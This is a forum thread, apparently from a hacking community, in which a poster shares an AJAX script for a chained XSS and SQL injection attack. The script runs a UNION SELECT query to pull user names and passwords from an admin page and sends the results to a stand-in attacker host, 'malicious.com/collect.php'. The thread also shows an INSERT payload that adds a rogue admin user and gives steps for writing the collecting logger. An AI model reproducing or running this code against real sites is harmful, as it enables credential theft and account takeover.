SQL Injection Via XSS

Tweet

hey amol how about sharing your ajax script...
also can we include few more attack vector in this script as we already know that we can use INSERT query and insert an admin user instead of making a long process of cracking hash...

hey 41.w4r10r,

Here is the ajax script used in video:

Code:

var url="http://mysite.com/admin/index.php?page=vuln&id=1'+UNION+ALL+SELECT+user,password+from+users-- -"

var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",url,true);

xmlhttp.onreadystatechange=function(){
	if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
		sendtoattacker(xmlhttp.responseText);
	}
}

xmlhttp.send();

function sendtoattacker(data){
	var myurl = "http://malicious.com/collect.php?log="+data;
	var xhr = new XMLHttpRequest();
	xhr.open("GET",myurl,true);
	xmlhttp.onreadystatechange=function(){
	        if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
			alert("Pass2");
		}
	}
	xhr.send();
}

Yes, we can include all SQLi attacks using this. Just need to change the ajax script accordingly.

But with mysql-PHP, we can't use stacked SQL queries, so it;s not possible to use INSERT/UPDATE in this case:

Code:

http://mysite.com/admin/index.php?page=vuln&id=1';INSERT INTO users values('10','newadmin','newpass');-- -

It can be possible on other platforms.

AMol NAik

please share all attachments (collect.php and user_pass.html) im w8ing..... TNX

Angel--D3m0n,

'collect.php' is a simple file which gets input and write it into 'user-pass.html' file. I'll suggest you create one for yourself so that you will learn PHP as well.

Here are few steps 'collect.php' should do:
1. Collect input via GET parameter.
2. Open a file for writing.
3. Write collected content into the previously opened file.
4. Close the file.

Do some googling for syntax and examples. php.net is a gr8 source too.

AMol NAik